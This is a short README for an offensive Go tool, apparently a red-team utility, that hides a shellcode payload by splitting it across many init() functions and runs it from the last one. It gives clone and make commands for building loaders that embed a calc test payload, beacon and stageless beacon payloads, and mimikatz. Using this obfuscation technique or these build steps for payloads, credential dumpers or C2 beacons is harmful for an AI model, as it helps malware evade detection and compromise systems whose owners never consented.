This dog's byte is much worse than its bark.
This is not a real Go module. You should git clone it rather than
go get or go install.
This tool aims to hide a malicious payload in multiple init()
functions. Specifically it appends BS (blocksize, defaults to 1)
bytes of the payload in each init(). Each block is divided into CS
(chunk size, defaults to 1) bytes to prevent excessive calls to
append() for larger payloads. Then the final init() runs the
payload while main() simply keeps the process from exiting.
Target must start with go. This is a limitation of the current
Makefile but can be changed after your code has been generated.
$ git clone https://github.com/mjwhitta/godogo.git
$ cd godoggo
$ git submodule update --init
$ make gocalc SC=local/sc/windows/calc
$ make GOOS=windows
Use BS and CS to adjust splitting of shellcode.
$ make gobeacon BS=1024 SC=/path/to/beacon
$ make gostageless BS=4096 CS=512 SC=/path/to/beacon_stageless
$ make gokatz BS=1024 SC=/path/to/mimikatz
$ make GOOS=windows cgo
Note: Compiling larger shellcode can take a considerable amount of
time. make superclean is your friend.